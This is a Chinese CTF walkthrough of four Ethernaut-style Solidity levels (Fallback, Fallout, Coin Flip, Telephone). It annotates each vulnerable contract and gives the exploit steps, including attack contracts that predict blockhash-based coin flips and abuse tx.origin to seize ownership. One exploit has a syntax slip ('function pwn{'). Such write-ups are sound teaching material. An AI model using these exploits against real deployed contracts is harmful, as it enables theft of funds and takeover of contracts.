Fallback
通关条件:
获得合约的所有权
把余额减少成 0
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallback is Ownable {
//Fallback合约继承自Ownable合约
using SafeMath for uint256;
mapping(address => uint) public contributions;
//通过映射,可以使用地址获取贡献的值
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}//构造函数设置合约创建者的贡献值为1000以太币
function contribute() public payable {
require(msg.value < 0.001 ether);//每次贡献的值小于0.001以太币
contributions[msg.sender] = contributions[msg.sender].add(msg.value);//累计起来
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}//当你贡献的值大于1000的时候就你成为合约所有者
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}//获取你的贡献值
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}//onlyOwner修饰,所以只有合约所有者才能用来提款
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);//判断金额与贡献值是否大于零
owner = msg.sender;//msg.sender就是调用者,也就是我们
//执行这一条语句owner就成了我们
}
}
思路:首先贡献一点金额,来通过 require 触发 fallback 函数,来成为合约的所有者,然后 withdraw 函数转走合约中的所有钱
贡献金额 contract.contribute({value:1})
这个 1 代表 1 wei,是以太币最小的单位
查看一下合约中的余额 await getBalance(instance)
await contract.owner()
先看一下合约所有者
补充,触发 fallback 函数的条件:
- 当调用一个不存在的函数的时候
- 发送没有数据的纯 ether 时
所以我们可以通过
await contract.sendTransaction({value: 1})
来发送触发 fallback 函数
这时候合约所有者就是我们了
现在我们已经是合约的所有者了,可以调用那个 withdraw 函数来提现了
一开始合约中有 0.000...00002
执行 contract.withdraw()
之后合约里没钱了
目标完成,提交,通过!
Fallout
目标:获得合约所有权
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallout is Ownable {
using SafeMath for uint256;
mapping (address => uint) allocations;
//这个public的函数并不是构造函数(l与1)...直接调用就可以了
function Fal1out() public payable {
owner = msg.sender;//这条语句就能让我们成为合约所有者
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
先看一下一开始合约的所有者,直接调用 Fal1out() 函数,再看一下
Coin Flip
猜硬币游戏,目标:连续猜对十次
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;//连胜次数
uint256 lastHash;//上一个hash
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
//这个数是2^255
function CoinFlip() public {
consecutiveWins = 0;
}//构造函数,每次开始把赢的次数归零
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
//blockValue等于前一个区块的hash值转换成uint256,block.number是当前区块数,减一就是上一个了
if (lastHash == blockValue) {
revert();//如果最后的hash等于计算出来的
}//中止执行并将所做的更改还原为执行前状态
lastHash = blockValue;//改成上个区块的hash值为这个区块的
uint256 coinFlip = blockValue.div(FACTOR);
//coinFlip等于blockValue除以FACTOR,而FACTOR换成256的二进制就是最左位是0,右边全是1
//因为除法运算会取整,所以coinFlip由blockValue的最高位决定
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;//如果我们猜的跟他算出来的一样的话连胜次数加一
return true;
} else {
consecutiveWins = 0;//否则归零
return false;
}
}
}
首先获取一个实例,然后拿到合约的地址以及 consecutiveWins 的值
我们来考虑一下,应该怎么实现攻击,首先,我们已经知道他的算法是怎么样的了,而且它用来计算的东西我们同样可以找到,所以,我们完全可以先进行计算,把结果在给他发过去就好啦
exp 如下,把 exp 代码复制到 remix IDE 中,部署 exploit 合约(要用之前得到的那个合约地址)
pragma solidity ^0.4.18;
import './SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;//连胜次数
uint256 lastHash;//上一个hash
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
//这个数是2^255
function CoinFlip() public {
consecutiveWins = 0;
}//构造函数,每次开始把赢的次数归零
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
//blockValue等于前一个区块的hash值转换成uint256,block.number是当前区块数,减一就是上一个了
if (lastHash == blockValue) {
revert();//如果最后的hash等于计算出来的
}//中止执行并将所做的更改还原为执行前状态
lastHash = blockValue;//改成上个区块的hash值为这个区块的
uint256 coinFlip = blockValue.div(FACTOR);
//coinFlip等于blockValue除以FACTOR,而FACTOR换成256的二进制就是最左位是0,右边全是1
//因为除法运算会取整,所以coinFlip由blockValue的最高位决定
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;//如果我们猜的跟他算出来的一样的话连胜次数加一
return true;
} else {
consecutiveWins = 0;//否则归零
return false;
}
}
}
contract attack{
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip expFlip = CoinFlip(0xaf32f2862fb9b6f7dfe113122cd6891f8f81acb9);
//这表示已经有一个CoinFlip合约部署在了这个地址
function pwn(){
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue /FACTOR;
bool side = coinFlip == 1 ? true : false;
expFlip.flip(side);
}
}
这里也贴一下 SafeMath.sol
//SafeMath.sol
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
首先,生成题目实例,复制题目合约的地址
使用 http://remix.ethereum.org 部署我们的 attack 合约,把题目合约地址复制给他的构造函数,然后 Deploy 部署
点击 pwn 来攻击
在题目的控制台看一下连胜次数,直到 c 的值成了 10,就可以点击橙色提交啦
成功!
Telephone
目标:获得合约所有权
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}//构造函数,部署的人是合约的所有者
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}//最初调用合约的人与调用者不一样的话,就把合约的所有者改成_owner
}
}
画个图了解一下 tx.origin 与 msg.sender 的区别(对于最右边的来说)
很明显,想要让 tx.origin 跟 msg.sender 不同,我们只需要部署一个合约,通过这个合约去调用题目合约的 changeOwner 就可以啦
首先 await contract.owner() 看一下现在合约的所有者
exp 如下:
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}//构造函数,部署的人是合约的所有者
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}//最初调用合约的人与调用者不一样的话,就把合约的所有者改成_owner
}
}
contract attack{
Telephone hacked = Telephone(0xad9337ea22bcb2b93e7a4b73b02aba243fa0a229);
function pwn{
hacked.changeOwner(msg.sender);
//这个参数msg.sender是调用pwn函数的调用者,也就是我们的地址,也就是tx.origin
//但是对于题目合约来说,msg.sender却是调用它的我们部署的attack合约的地址
}
}
部署之后,点击 hack 就可以啦
再看一下,合约所有者已经变了
提交就好啦